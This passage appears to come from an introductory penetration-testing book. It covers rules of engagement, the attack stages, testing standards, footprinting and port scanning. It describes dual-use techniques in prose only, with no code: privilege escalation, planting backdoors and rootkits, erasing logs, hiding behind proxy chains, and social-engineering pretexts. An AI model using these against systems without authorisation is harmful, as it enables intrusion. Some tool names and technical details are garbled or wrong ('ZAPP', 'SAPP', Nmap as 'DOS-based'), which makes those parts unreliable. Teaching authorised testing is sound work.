This is also known as a zero knowledge testing, so neither the pen tester knows about the target, nor the target is informed of the scope of the audit, so they don't know the what, neither the how.

This is one of the more popular assessments that are used today because of the aspect that it does test everybody's knowledge.

We also have something called a gray box. This is a combination of both black box and white box testing. This type of test is when the attacker has a partial knowledge, such as a domain name of the servers.

These help save some time versus the black box. This is just a time saver for us because in a black box, it's just a matter of time before I properly recon you and get to that gray area.

The assumption that you're going to get that work done, it also can provide

what known as a dual perspective, which offers a full system inspection from both the developer's perspective and the attacker's perspective.

So, we might attack from the outside, as well as simulate an insider attack by a discontented employee. There are a couple of different approaches that you could take.

First, you can implement an announced strategy. In this approach, the pen tester should be able to acquire a complete overview of the infrastructure of the organization and then also be given physical access.

The issue here is that it has less of an impact on the network because you know that they're coming.

When it comes to an unannounced approach, this is a beneficial when it comes to testing the knowledge of the security personnel, as well as examining the organizations social engineering attacks.

In an unannounced approach, only top management is aware of these tests, and that they are going to be taking place. The standard IT guys such as Service Desk, Infrastructure Team, or Application Team have no idea when it's coming.

This tends to have a more significant impact, and it also requires a strict process of what's going to be done. The real goal of an unannounced approach is to test the alertness of the infrastructure and how responsive the IT staff is.

Chapter 5 Pen Testing @ Stage 1

Pen testing stage one is also known as Pre-engagement, and this stage focuses on gathering as much information as possible about your target. This can be done using techniques such as scanning or footprinting.

You must set your boundaries, and that is what you first want to come up with, but just like the military, there are rules of engagements. For example, military personnel are not allowed to fire, unless fired upon.

Because they see somebody with a weapon, it doesn't mean that they're can go ahead and shoot. It all depends on the war that they're in. Each one would have its own rules of engagement, and that's the same thing here.

You are creating formal permission to conduct the penetration test, and in the rules of engagement, you may specify whether or not you do technical or non-technical activities.

The rules of engagement explicitly define these activities. A security professional that's doing a pen test might be allowed to do certain activities that generally considered illegal.

Some rules of engagement items want to include the IP address range that you're allowed to test. You do not go outside of that range or times that the test conducted during business hours, or after business hours.

You may be thinking; “pen test could take place anytime?” Well, yes, but it all depends if you were doing a simulation of a gray box attack from the inside for example, because that might be done strictly during business hours.

You also want to have a list of hosts that the client or department may be considering to be restricted. If you see an IP address that’s not on your list, you don't touch it!

You'll also list the acceptable testing methods, such as social engineering, denial of service attack, what tools will be used, password crackers, network sniffers, and so on.

If you are going to use the tool called “Nmap” for example, will it be an aggressive Nmap scan or a private Nmap scan? You should also specify the length of the test.

Depending on the test itself or what you've agreed to; some pen tests can take

up to two to three months to accomplish. Similarly, anybody that's on the penetration team could have a point of contact if there's an emergency of some sort.

You also want to list some measures to prevent law enforcement from being called with false alarms that may be created by the test, especially if it's a physical test.

Your rules of engagement should also include how to handle information that you've gathered. One of the pre-requisites you should have when you do a pen test for a company, is that they should provide you with a laptop.

It's not a laptop that you get to keep, but it's a laptop that you can use during the pen test, including the reporting.

After you are done with the pen test, you turn that laptop back to them with instructions, and they want to store that laptop away for possible future pen tests as a follow-up.

That way, you are not accused of storing their information on your systems. Technology does change rapidly. If they put the laptop away for five or six years, that laptop could be obsolete.

Therefore, you can also advise your client to pull the hard drives out of the computer and store only those, and make sure that the data is stored in an extremely secure location.

You're going to have a list what the customer require, and those information that you gather during the interview process so that you should ensure that you address them ultimately.

You'll review with the customer or the department what needs to be tested, such as servers, workstations, routers, firewalls, network devices, databases, applications, physical security, telecommunications, Voice systems and so on.

You'll also have to create a checklist of requirements. Meaning, what the customer requires you to do with those particular tests. You also have to specify the sectors to be tested and organize the users.

For example, you might only need to look at specific departments, such as the IT department. You're going to notify the folks in those departments that something could be happening within the next week or so.

You'll also need to identify your timeframes, but you must ensure that it's the timeframe that the customer requires. It's not what you think is best, unless they're asking you for an advice.

You also want to ensure that you develop an emergency plan if you come across a situation where a real malicious attacker has made their way in. What do you do in those situations?

Well, you will have to ensure that all the information is securely backed up before beginning to do anything, because some things that you might do could make modifications to the original files.

You'll also need to decide on the format that you're going to use for your reporting. Is it done in a standard Word document? Do they need it in PDF? What information do they must see, should it display depending on who's looking at the report?

For example, maybe the manager of the IT department doesn't want to see all the details of what happened. He just needs to see the things that he needs to take care of, and who's involved in delivering the report.

You have to be cautious here because many times when attacking the work of an IT professional and presenting the report in a way that it’s constructive, instead of mocking and it’s a genuine form.

The security professional that delivers this report needs to be aware that there could be some hatred that comes up, and you like it or not, you should always report everything.

To keep track of all this, you have to start making lists. Here are some things that you may include on your checklist; the network layout or the subnets, what ranges are they using, look at the physical security both of servers and networking devices, but also the building itself.

For example can somebody just walk into the office and find an empty RJ45 jack? Also do not forget, not just with the network layout, but ensure that you learn both; external and the internal IP addresses.

Look at the network devices, such as routers, switches, firewalls, Wireless access points, wireless LAN controllers. How many of those each machines do they have? Also include end devices such as wireless and wired host devices like laptops, and computers.

I would also include printers and scanners, CCTV cameras, door entry security mechanisms, meeting room devices such as projectors and IPTV-s, IP phones, and conference IP phones, or even mobile devices such as mobile phones, tablets, or even Apple or Android Watches, anything that's hooked up to the network.

Do they need a map of their internet presence? Show them what's accessible from the outside and if these machines are connected to both externally and internally, you'll want the addresses both sides on the list. What about OS on the network?

If you're doing a pen test and they have five or fewer servers, for example, Windows or Linux servers, should you must review more servers, and if so, how many of each type?

You should also make sure that you can identify those. Does the customer require an assessment of wireless networks or their analogue systems, as well as their mobile machines, especially if the organization deploys a mobile workforce?

What about the web applications and services that are offered by the client? If that client has a front-facing website, do they have redirect links to visit other sites, or pulling in content from other sources into their site?

Some noticeable malware and ransomware attacks currently are caused by the ad networks. These are networks that provide advertisements. These are ad networks that legitimate sites, but people just subscribe to them, and a malicious attacker creates an ad, and it's just HTML with a mixture of JavaScript, which is nothing but a purchase space inside of an ad network.

These ad networks are used by hundreds of websites, and people have no idea that they could be offering up malicious code when you go to visit those sites.

Moving on, you'll also want to ensure that you define the scope of the pen-test. That's going to include the deliverables, meaning what is the list of reports that are going to be made available after you've completed the test.

You also should include the data definitions or the form that the results of the test will take. You'll also want to define the functionality, verification of whether the system works as expected, and the technical structure which could include flow diagrams to show the processes and steps that you went through.

There's one thing you want to be concerned about, and it's something you want to explain to the client. If the pen-test takes a while to do, during that timeframe, changes may be incorporated into their network without the pen-testers knowledge, and usually the client doesn't understand the impact of those changes.

Before any amendments are made during the pen-test timeframe, this could be reviewed or sent to the engagement lead from the pen-testing company so he could explain the effects of the changes that they're about to make.

Some of these changes include any business process changes, or any technical changes such as if the company moves location. Also, if there are any applications that might have changed. Here, I am not talking about updates to an existing application, instead I'm referring about switching to completely different applications.

Moving on, when considering the scope of the pen-test, the testing team should be looking at the system software security, or security and configuration.

They should be looking at software and system-based vulnerabilities too. You want to look at the network security, look at all different network components and their configuration. For example are there any defaults that are still in play? You will also have to look at the client-side application security.

The testing team should check the client-side application for security and compliance, as well as the client-side to server-side security, as the data transmits from the client to the server.

How's that traffic secured, and since you have done the client to server traffic check, you also want to look at the server-side security. Therefore, you will be looking at both; web applications and the applications themselves running for flaws.

In the scope, you will have to implement social engineering methods to try to see if you can gather some passwords or project details too. The scope should also include documenting existing security.

Moreover, you want to think about in what way do employees destroy documents that aren't used anymore? One thing that you should emphasize is the usage of shredding devices.

You will also need to assess the application communication security for any unauthorized interceptions. Within the scope, you will have to look at physical security too, because the organization should restrict physical access to only departments that are relevant to the usage of those systems.

Many companies hire shredding companies to attend on site and dispose their documents, but information still gets out through the regular trash, so you want to ensure that they understand that this is one of the vectors that can be used against them.

You should also be checking for dissatisfied employees who might release confidential data or take it with them to a competitor. One of the other great things that you may review with the client is sabotaging intruder confusion.

Many times, companies will implement strategies such as a honey pot to confuse or even mislead intruders. They end up spending their time thinking that particular honey pot is genuine.

As a pen-tester, you want to ensure that you test those if they have those in place. You also want to test within the scope of the response. For example what is the appropriate response for each type of incident.

Next, you have to look at the contracts. Here, you want to ensure that your documents are going to include your non-disclosure agreement. This is to ensure that you safeguard the company's information.

You should also be clear about the fees and the schedules, especially if the project goes beyond the estimated schedule because you might come across something that was not foreseen.

You'll also have to have a sensitive information document. This includes information that's related to the company's electronic assets, applications that are currently under development, or anything of sensitive nature that is required by the pen- testing team.

You should also include a confidential information contract. This is going to be where you include trade secret information, network information, telephone system information, customer data or other business materials.

This type of information is provided to the pen-tester, and this is another reason why I mentioned earlier that I recommend the company providing you a laptop that is their property, so they don't have to worry about you taking

off with some of their confidential information.

The contract should also mention that you will not reveal or give copies to any third party or competitor. This helps to set a trust level between you and the company because you're about to attack them and see if you can steal information.

Next item on the list is the indemnification clause. This protects the pen-tester from any legal or financial liabilities. It does happen sometimes, that the pen-test results in some loss or damage to assets of the company.

You should also have in your contract reporting and responsibilities section. This should be a guideline that states the methodology for performing the test and how you will report those procedures.

The next item in your pre-attack phase is information gathering. This could be done in a few different ways. You can for example utilize your passive reconnaissance, looking at public records.

You could be doing a little Googling on the company or anything that's not too aggressive. Or, you could also do the opposite of that by doing an aggressive active surveillance.

You also must do some web profiling. Web profiling means that you can get a directory structure of the web servers or FTP servers, and catalogue all the web-based forms, types of user input that's allowed, form submission destinations.

But, you should also catalogue error messages that pop-up because that can help identifying third-party links and applications. As you see the list is long and you spend a lot of time in this particular stage and that's because this is what helps to cover both; yourself and the client, so there's a level of expectation that needs to be met.

Chapter 6 Pen Testing @ Stage 2

Pen testing Stage 2 is the attack stage. All information that you gather during the pre-attack stage helps you to come up with a thorough attack strategy. The attack stage involves compromising the target.

You might go after an exploit of vulnerability that you discovered during the pre-attack stage or even utilize some loopholes like weak security policies or password policies to try to gain access to the system.

It is important to note that the attacker only needs to worry about one port of entry or one mechanism to get in, therefore the customer or company needs to worry about covering all their bases.

Instead of being passive, you need to become active. Once the contract is finalised and you have permission to engage, first you should try to penetrate the perimeter by looking at machines that are exposed externally and how they react.

You then should look at how to enumerate that targets after you have made your way in. In case you know what the target is, it will be easier to try to attain the target.

After you attain the target, the next thing you must do is to be able to escalate your privileges, so you can do more with that particular system. Finally, you will need to ensure that you can get back into the system by executing, implanting, and retracting, using rootkits.

Let's get into details on how you would do each one of these items. The primary ways of testing the perimeter is by going after the firewall itself, and you are going to do this by sending and crafting some packets to check how the firewall reacts.

This can be done by looking at how the firewall handles fragmentation, overlapping fragments, floods of packets.

You can also do this by crafting some packets so you can check the Access Lists or ACLs of the firewall, such as what's allowed through and what's not.

Technically, what’s permitted and what’s denied. You should also take a look at how the protocols are filtered by trying to connect to various protocols, such as SSH, FTP, or even Telnet.

You also must try to measure the thresholds for different denial of service attacks by trying to send persistent TCP connections and see how the firewall handles that, or even attempting to stream UDP connections.

By doing this, you will learn what the thresholds are set at the firewall. You should also try to send some malformed URL-s to see how the IDS respond.

You can also try to see how the web services respond to some requests such as post request, delete requests, or copy requests. Next, you have to go after enumerating machines.

The goal of enumerating machines is to find out as much information about the host as possible. You may have discovered something during the pre-test environment, but the attack phase gets you active.

But some of those perimeters that you are going to discover could be things like: what's the machine Id or what's the machine description, and these will help you identify where the machines are physically located.

You will also need to make an inventory of the network accessibility of these machines. After you have enumerated the machines, your next step is acquiring the target.

This is because you know everything on the network or at least a decent chunk of it. Based on what you have discovered, you can go after those vulnerabilities.

Some ways that you can gain more information about the target, is by doing probing assaults. What this means is that you will target those machines you discovered with different types of assaults to see which ones are vulnerable.

Therefore, you must run vulnerability scans. You also have to acquire the target by doing something basic like using what known as trusted systems.

This involves trying to access the device's resources through information you have obtained legitimately through social engineering attacks.

After you have acquired the target, your next step is to escalate the privileges. Sometimes this escalation is performed by the attacker, so to accomplish this, you as a pen-tester should try to take advantages of bugs and flaws in the design of the OS or applications.

Perhaps even misconfigurations on an operating system, or try to elevate access to an application of a normal user to someone with higher permissions.

Privilege escalation is normally performed by attackers to carry out different types of activities, such as deleting files, looking at sensitive information or installing programs that can help them get back in later, such as a Trojan or a virus.

These technically called backdoors. Some ways that you can escalate your privileges are include poor security policies or taking advantage of emails or website coding that's been untested to see if you can gather the information that could lead to an escalation of privileges.

You can also do it through brute-force attack. Brute-force is more time consuming, and there are numerous tools out there such as password crackers, Trojans or even social engineering.

Social engineering is one of the easiest and most preferred ways for attackers to get in because it's hard to track. After you have escalated the privileges of an account, the next thing you must do is try to execute, implement, and retract.

Some systems are vulnerable to a denial of service attacks or buffer overflows, and some old viruses like rootkits, Trojans, and malware. If you are able to establish a rootkit or Trojan that can lead to access more information or more system resources, you must see if you can cover your tracks by erasing log files or hiding modifications that you have made.

You, as a pen-tester must also need to ensure that you can change system settings and remain hidden. So you want to see if you are able to be detected or not.

Once you have done all that, you must ensure that you can get back in via your backdoor, and see if there is any alerts such as email alerts that engineers might have been received or been warned.

Chapter 7 Pen Testing @ Stage 3

If you think that the pre-attack steps or the actual attack steps are the most important, well that’s technically not true. The most critical steps are at the post-attack stage because you are doing this, from an offensive point of view.

It's the responsibility of the pen-tester to clean up their mess. You are going to have to ensure that you return the systems to their pre-test state.

You do not just make a mess and leave. Therefore, you should remove any files that you uploaded, any data that you make modifications to; you'll ensure that you restore those as well as any settings that you may have changed.

This is also one of the reasons why it's vital to document each step along the way. You also must undo any privileges or user settings if you've done any privilege escalation.

You also must ensure that you restore the network you have made changes to either within DNS or any IP addresses. In summary, you must recreate the very same network state as it was before you walked into.

If you've gotten into the registry in any way whatsoever on any system, you must ensure that you return those to their same settings as well.

Sometimes you might even create different shares and connections, so you must undo those, and you'll also have to ensure that you document all the logs that were captured, as well as entries that were modified.

After that, you'll have to analyse the results, and instead of creating problems, you have to develop solutions. Once you have done all that, you have to present that documentation to your client, while you must identify critical system and critical resources that are at risk, and come up with a prioritized list of what needs to be modified first.

Chapter 8 Penetration Testing Standards

The different ways that you do pen-testing will depend on the methodology that you decide to use. There are many standards out there. Let’s cover some of those, so that you can learn which one suit you best.

Let's first begin with the OSSTMM, which stands for Open Source Security Testing Methodology Manual. This standard set of penetration test is trying to achieve a high-security matrix.

In summary, this is considered to be the standard for some highest level of testing. There's another one called OWASP, which stands for Open Web Application Security Project.

OWASP is an open-source methodology, includes numerous tools that can help you plenty, and it’s also have a knowledge base, as well as a tool that is called the ZAPP or the Zed Attack Proxy Project.

ZAPP is a tool that can automatically help you find vulnerabilities in web applications. ZAPP is designed for web developers, but pen-testers can use this tool as well.

There's also another framework called ISSAF, which is the Information System Security Assessment Framework. ISSAF is also an open-source project on how to conduct a pen-test. ISSAF is supported by a group called the public information system security group.

Another standard that you should look at is called NIST, which stands for National Institute of Standards and Technology. When it comes to NIST, you should know that the federal technology agency works with the industry to develop and apply technologies, measurements, and standards.

We also have LPT, which stands for EC-Council's License Penetration Tester. This one is a proprietary methodology, and there is another one from McAfee, which is called Foundstone and also have ISS, which is done by IBM.

When it comes to IBM, they do their testing for you. They also had a signature based product called the Proventia, which is now discontinued. This was a multifunction security appliance and offered numerous different services to help secure or test your network environment.

The same thing goes for McAfee and Foundstone too. It’s technically owned by Intel. With EC-Council's LPT requires the examiner to go through numerous different steps, similar to the CEH.

You have to go through a course, go through an application process, which includes a $900 fee, and they will provide access to EC-Council's Aspen environment.

They do a pen test in a test environment, and they have 30 days to submit their report to EC-Council. With each of these, whether it's the open-source or the proprietary versions of these methodologies, all of them are similar one to another.

Each one of the methods will help you cover all your bases. They all start with an information-gathering stage, which we've talked about earlier.

It's all about going out and finding as much information as you can about the target or the company, whether that's from public sources, newspapers, internet articles, blogs or third-party data sources.

You then have to go through an external pen test, and you are looking for vulnerabilities that are accessible from the outside. Next, you would look at a vulnerability analysis so you can find weak points based on software, operating systems, or machines.

After that, you would do an internal network penetration test to see what type of information is exposed from the inside. You then go through the firewall open-testing.

This is your primary line of defense from the outside world, but you would also do testing from the DMZ. As a side note, DMZ stands for Demilitarized Zone, sometimes referred to as a perimeter network or screened subnet.

Next, you must verify that the IDS is doing what it's supposed to do, that detects intrusions. As a pen-tester, you are going to be looking to see if any vulnerabilities would allow the attacker to get around the settings of the alarms that are configured on these systems.

Next, password cracking methods can be used to identify weaknesses associated with password management. This helps you to ensure that you're not prone to brute-force attacks, hybrid attacks or dictionary attacks.

These methodologies also ensure that you cover the social engineering pen-tests. These types of experiments can be done by either using human-based methods or social engineering with computers, getting someone to open up an email attachment.

You will also have to cover yourself by looking at web application pen-tests. You are going to be looking for code-related or back-end vulnerabilities. Most likely, some more famous tests include SQL pen-test.

SQL injection is still dominant today. It takes advantage of non-validated input variables that get passed on via SQL commands through the web application that executes on the back-end database.

Depending on where you put your routers within your network and switches, they forward data packets from point to point, sometimes inside, and sometimes outside of your system.

If you take down a router, you end up taking out everybody that's connected to the internet. When you're pen-testing routers, normally you can do it from the internet, as well as from the inside.

You will also have to look at the wireless network. Here, you are going to focus on the availability of outside wireless networks that can be accessed by employees of the company.

This technically circumvents the company's firewall, because wireless cannot be restrained, and it goes out everywhere in the air, and we don't see it, and the signal can be accessed from outside the physical boundaries of the company's location.

You will also be looking at the strength of the encryption, and the type of encryption being deployed. You will also continue to cover your bases with these methodologies by making denial of service test.

See if you can bring down the enterprise network or an e-commerce site by flooding it with packets or so much traffic that it doesn't know what to do anymore. When you are making denial of service attack, what you are looking for is the threshold where the system starts to have a break down.

You should think about how you would handle stolen machines. For example, once you have locked down all your phones and laptops, you should also think about what happens when those machines get stolen.

For example, the pen-testing team can try to take mobile equipment and conduct offline tests to gain access to the information stored in those offline machines.

For example you should not go after someone's computer in the sales department, instead try to focus your attack towards somebody that you have identified as an IT person.

If you can get someone from the IT department or someone in a senior management, well, those people have more permission or access to more systems then the rest of the employees.

You also have to look at source code penetration tests. Many companies today are using applications that are created in-house, and sometimes these applications aren't even considered as part of the security platform.

As a pen-tester, you're going to look at the source code either manually, or there are numerous tools that could help you such as Zappit.

In this type of testing, the testing team will try to gain access to the facilities before, during, and after business hours, but must not do any destructive things.

For example, you don't break windows, but if you can pick the lock easily, or able to disassemble the gate, or jump turnstiles, it’s fine with many companies.

Some companies are a little scared about that type of test being done, so another thing you should do is to do walkthroughs to provide the company with an objective perspective of their security controls that are currently in place, and how they could be bypassed.

Similarly, check if the company have cameras? If so, you want to understand if they operate with a web interface. What is their viewing angles? For example you can utilize a drone to fly into an area to look at the top of the camera to look behind the camera without being detected.

In summary, you are able to look at how much motion is allowed before the camera kicks in or where is the visibility of the camera. You will also need to ensure that you look at databases.

This is where you are going to try to directly access data contained in the database by trying to utilize some password cracking methods. You could

also try to make your standard SQL injection attack, but not databases that are SQL-based.

You will also have to look at data leakage. Here, you must understand if the data you discover contains any intellectual property, private, or sensitive data.

This particular pen test should try to help the company to prevent confidential information from going out into the market or to competitors. Therefore, you should check who has access to those files?

You should also try to improve awareness amongst employees on the best practices. This is more targeted, but if the company is using a SAPP platform, you may implement a pen-test to see if it's been patched correctly.

This is, so you can find out if there are any vulnerabilities that an attacker could utilize since SAPP has a lot of business-critical information within it. Another area to take a look at when you pen-testing is the VPN or Virtual Private Network pen-test.

Most companies allow some of their employees to work remotely either if they're on the road or working from home. In either case, VPN-s create trusted connection to the internal network.

It knows that the pen-tester will try to gain access to the VPN either by trying to compromise a remote endpoint or trying to gain access to the VPN tunnel, so they can gain access into the network.

Moreover, you should also try to gain access to the VoIP or Voice over IP network to try to record conversations or make a denial of service so they cannot communicate.

Another popular feature is the cloud, so when you start using it, security is based on the shared responsibility of both the provider and the client, and there are many security risks associated with cloud computing.

Other tests that you should accomplish include virtual devices. Most companies already using virtualization. Because the host device is fully patched, doesn't mean that the VM or Virtual Machine is.

What you might find is that the virtual appliance is patched, but the host isn't, and because the virtual environment is an exact duplication of the physical environment, it suffers the same security concerns.

If the VM is running software or applications, then it's vulnerable. The

attacker doesn't care if it's virtual or not. It's just another target.

When you do these types of tests, you are looking to see if you are able to get through an older technology that may be a company has forgotten about.

You must see if there are any old modems still holding their default passwords too. The modems are identifying themselves via a banner.

Whether it's a Trojan, a virus or ransomware, but for example Trojans designed to steal sensitive information, delete data, replace operating system files, maybe even perform a denial of service attack, start watching you with key loggers, create backdoors, or provide remote access.

Viruses are designed to destroy data, slow systems down, consume resources, and you also have the issue with ransomware. As a penetration tester, you want to ensure that you look for any ports that may be suspicious that are open.

Moreover, you should look for any processes or registry entries, or machine drivers that are infected, Windows services or fake services, what programs have network access, how do users or employees handle malware or ransomware coming through email, and so on and so forth.

Another thing you should consider when you're doing your pen-testing, is looking at log management. Log files record the who, what, where, when, of everything on the network, so managing those log files, making sure that they're put in locations that are properly secured, or monitoring them for any modifications.

Once is too late, you should also be testing for their file integrity. How are they handling that? Here, you should make sure that no files are being tampered with, especially when it comes to operating system files.

That also related to malware, but you should be trying to identify who modified the data, what are the attributes and how are those recorded and maintained.

When it comes to mobile devices, well, everyone's having mobile devices nowadays. Everybody wants to be on mobile, and BYOD or Bring Your Own Device deployments are becoming very popular, so you have to start monitoring and checking out people's mobile devices.

Because these portable machines operate with different Operating Systems

and different applications, it introduces new security issues for us all.

Technically, there should be one person monitoring mobile devices at all times. We talked about VoIP, but we also have telecom and broadband penetration testing.

It doesn't matter which business in what building you are looking at; you can gather everybody’s data. One of the most significant ways that people get in to the system is using malware and ransomware through email, so that you should be looking at email security too.

Email is the most used communication in the world today. But the main reason it’s important, is because we're using email to store personal information and corporate data with attachments.

For example, if you are able to get a hold of the CIO-s or CTO-s account, it could be a significant impact on the company. Therefore email security should be looked at from both internally and externally.

Chapter 9 Introduction to Footprinting

When it comes to penetration testing and footprinting the target, the purpose is to determine what information is available publicly of your target. These are information that's available on the internet, such as network architecture, operating systems, applications or users.

This is passive as far as the research is concerned. You as a pen-tester have to try any possible way that you can to go after either hosts or networks.

It could be either of them, but you have to use any possible way that you can to gather as much information as possible before you get into the next stage of the penetration test.

If you find sensitive information on any website or any location that's publicly available, that information needs to be reported to the organization in your report.

If you find information that you believe is critical and you think it should not wait a month or even a week before you submit the full report, you want to notify your emergency contact immediately.

This stage of the attack should help preventing information leakage, and help you with social engineering attempts. Let’s look at specifics.

The first thing you can do is get proper authorization, and that's going to be from whoever is in charge. It may or may not include system administrators.

Many times companies must know how their system admins are performing. After you go through that process, you must ensure that you define the scope.

Limiting the scope of the pen test is a prerequisite. Going through this stage helps to set you up the list of items needs to be tested. For example; what are the IP ranges or subnet ranges of the systems, or what are your limitations.

After you've defined the scope, you should plan and gather information about that scope using your reconnaissance tools. You have to start with search engines such as Google, Bing or Yahoo, whichever one you must use to look at what information is currently being exposed.

You can also check some other specific sites too such as social networking sites like Facebook, and see if there is a Facebook page or Twitter account for the company.

Next, you should see who are friends of that company because that's where you are going to find existing employees and see if you can backtrack from there.

After you are done looking through the search engines, you have to try to see if you can “Google hack” them. You can do that by utilizing additional tools that give you a Graphical User Interface such as SiteDigger or the Google Hacking Database.

By doing Google hacking, it will allow you to find resources that have been crawled by the Google search engine that companies may not know are being listed there such as printers or cameras, which could provide you an insight of IP addresses that are exposed, or what the machine they have.

Your next step after the Google hack is to go after social networks, such as Facebook, Twitter or LinkedIn.

People have a tendency at the social networking level to let their guards down. It's easy not to see what people are talking about, but start-up conversations with users or the employees could be a great way to gather information.

You might go and start a chat with an existing employee and say: “Hi, it looks like you've got an excellent company, and I have been thinking about joining the IT team. What type of devices do you use in there?”

Your next step is to go and footprint the websites, and you are going to do that with either BlackWidow or Web Site Copier. With these tool, first you have to download their website so that you can look at it offline and look at the code.

You have to remember that everything that's presented to you in a web interface are files that are downloaded to your system. Therefore why not download an exact copy of that website so you can take a look at what they're doing at the back-end, particularly if they're making calls from the front-end to the back-end.

Next, you can start looking into some email footprinting. You can use some great tools that'll do that for you such as the “nslookup” command to find out the DNS names and IP addresses of their servers.

Some of the information that you can get out from emails includes the

encryption that they're using and other services that could be used along with their email environment.

You can also find out how they are hosting the email servers or what hosting providers they use. Next, you can do some competitive intelligence.

Competitive intelligence is the way that most businesses are using to find out about their competitors. Attackers can use the very these same resources to find out what the people are doing, and it's also an excellent way for companies to discover what projects their competitors are working currently.

Next, you should do a “whois” reconnaissance, so you can find out who owns the IP address range or their domain. To accomplish this, you can use tools such as Domain Dossier or SmartWhois.

Sometimes these tools will also do some necessary enumeration based on DNS, which is your next step. For DNS reconnaissance, you can use tools such as Sam Spade or DNSstuff, but you always use the “nslookup” command too, which is very powerful.

One of the reasons why you should do a DNS reconnaissance is because you are able to determine key hosts in the network that you can then use to perform social engineering attacks or you could use during a DNS poisoning attack.

Your next step is to perform a network reconnaissance. For this purpose, you should use types of tools, such as “Path Analyzer Pro”, which will shows you the path that a packet takes, or Network Pinger or VisualRoute tool that allows you to find out further information about the targeted network.

These will help you to draw a better diagram of what you are dealing with. You should also try some social engineering attack that includes “shoulder surfing” to see if you can gather information by watching what people are doing.

Other social engineering attacks also include dumpster diving or eavesdropping. These will allow you to gather information, such as the organization's security products that they're using, operating systems, software versions, network layout, IP addresses or the names of their servers.

You must ensure that you document everything that you find. This is because you will have to use this document and all the information that you have

collected to understand and analyse the security posture of your target.

You will be surprised with the information you can conclude from what you pull off using this method. This is why it's so important to spend as much time as possible here, so you can create a map of everything else you're about to do.

Chapter 10 Host discovery with Port Scanning

When it comes to scanning your target device, you have to figure out which systems are alive on the network, and how often are they alive on the network.

Besides, are they only up during certain times? You will also have to discover the ports that are currently open on these nodes, and the services that are running?

Each one of these things will help you determine if there is any vulnerability that you can go after on your target device. Another way of scanning the network is to discover if there are any banners that you might be able to grab.

By going through this process, you will learn which ports you want to close, and if there are any banners, you can hide them or customize them. You will also need to see which services aren't desired, and if they're not desired, you should turn them off.

This could also give you an understanding of how you can standardize their firewall and intrusion detection system rules, and you will also see the vector of misconfiguration and what you want to do to fix those misconfigurations.

Once you begin the scanning process, you have to run a host discovery, which will detect hosts that are live on the targeted network. There are numerous tools that you could use, and some of them are GUI based, while others are command-line based.

For example the tool called “Nmap” looks at DOS-based or command prompt-only environment. Nmap also has a GUI version which is called Zen Map. There are other tools out there too, but these are the most popular ones.

These tools aren't meant to be deceiving; but you can use them that way as well. Once you gathered a list of nodes that are active on the network, your next goal is to do a port scan.

By running a port scan, you will learn what ports are open. Through those ports, an attacker can install malware on a system or take advantage of specific vulnerabilities.

Therefore, you should always check which ports are open, and include in your report if they're not required to be open. Some tools that you can use are

“nmap” which I already talked about, but you have to understand that some of these tools are multipurpose tools.

Another tool that you can use is called “NetScanTools Pro”. You might have other tools that you prefer, but you should pick one and master using it. In the meanwhile it is good to have exposure to other tools too, and it’s not only for your experience or to put on your CV, but other reasons too.

For example, ones you start using these tools, you will realize that each of these software have certain limitations, and while one of them do one job, the other might help you do another job better.

I recommend that you focus on “Nmap” for your immediate future, as well as your real world. Nmap is a very handy and flexible tool, but when it comes to this industry, most Ethical Hackers or Pen test Professionals just love it.

The next step is a banner grab. Sometimes people refer to it as an operating system fingerprint. By doing a banner grab, you can send individual commands to a system and it responds a specific way, and we know that Windows devices react a certain way, as well as Linux devices.

Each and every OS replies in a different approach to the same commands and Macs are also do the same thing. These responses identify the operating system, which allows you to find and exploit the vulnerability, related to that operating system.

The tools that you can utilize for banner grabbing include appliances such as “Telnet or SSH”. Next, you can begin to scan for vulnerabilities. Scanning the network for vulnerabilities, you can utilize specific tools, but you may have your own preferences, so let me give you some overview.

Some of the best tools you can use for scanning the network for vulnerabilities are “Core Impact Professional” or “Retina”. Microsoft also makes one that's called the MBSA aka Microsoft Baseline Security Analyzer, or GFI LanGuard.

Your purpose is to determine the security weakness or loopholes of those target devices. In summary, you already understood that's a Microsoft device or an Apache server, therefore your next move is to find out what vulnerabilities can you throwing at it.

These tools will help you see which vulnerabilities would work. By this

point, you will have a lot of information, and this goes along with documentation, but you should also draw out the network.

This will help you to understand the connection and path between the nodes on the network, and there are numerous tools that you can use to draw a network diagram out easily.

For this purpose, one of the best tools you can use is called “SolarWinds” and “Network Topology Manager”. Some of these tools are free, while some of them are paid product.

Most companies are using “SolarWinds”, which you can use for various purposes. With SolarWinds, you can draw network Maps, you can send out commands to multiple devices in either real time, or if you prefer or required, you can schedule the date and the time of command deployments.

You can use SolarWinds for IP Management purposes, as well for alerting on network outages or interface downtimes and so on. SolarWinds comes with a cost, but it’s a great software and companies using it for numerous purposes.

Your goal is to get a visual representation to have a better understand what's where and how they are connected. Once you know the targets because you have fully identified them and their vulnerabilities, and you have drawn out the network topology, the next step during your pen-testing is to fire up your proxies.

The proxy is designed to hide servers so that the customer or client cannot determine where the attack is coming from. You could fire up proxies both; internally and externally.

One of the best tools that you can use for proxies is called “Proxy Workbench”. Proxy Workbench has a GUI interface which is using the TOR network. Another product for Mac OS is called “proxifier”.

Once you start running your desired proxy, you are going to get a list of IP addresses, and you can select how many you must use. Some of these proxies are free services, and if you Google “free proxies” you can create a proxy chain in no time. Whichever proxy you will use, you should also document that too.

Documentation is the most important step in pen testing because it helps you to preserve all the outcomes of the tests that you have conducted. It'll also

help you to find potential vulnerabilities on the network, so you can recommend some countermeasures.

In the same time, you also want to show your client how you were able to accomplish what you did. This is also the best way of legitimizing what you did and what an attacker could do to them.

Once you have found your targets, the next step is enumeration. Using enumeration, the attacker can gather as much information as he can about the target device.

Some report that he can pull off from these systems should include identity groups, user accounts and service accounts because nobody looks at those things.

You can also determine network resources, and your network shares or other finds that are shared from that machine. In many cases, you can also enumerate the applications that are installed on those devices.

The enumeration step builds on the data that you collect from the reconnaissance stage, but you should also look at enumerating networking devices too.

Networking devices include; routers, switches, intrusion detection systems, intrusion prevention systems, firewalls, identity services engines, wireless lan controllers and so on.

You as a pen-tester should do numerous different types of enumeration methods to ensure that you get all the information that you can from each machine visible on the targeted network.

The reason you should do this, is to determine the weaknesses and vulnerabilities of the organization's network. The primary purpose is to try to identify the gaps of the network infrastructure.

You can start the enumeration steps by finding the network range of the company or the targets, and you can do that with a command “whois” to lookup devices, so you can see what ranges they've been assigned on the public side.

This is where you find the most important servers because it's usually the face of the company, and that is providing a service, where people are logging in or getting information about the company.

Once you have that IP range, you want to calculate the subnet mask, which can help you narrow down your ping sweeps. This would also help you with port scanning.

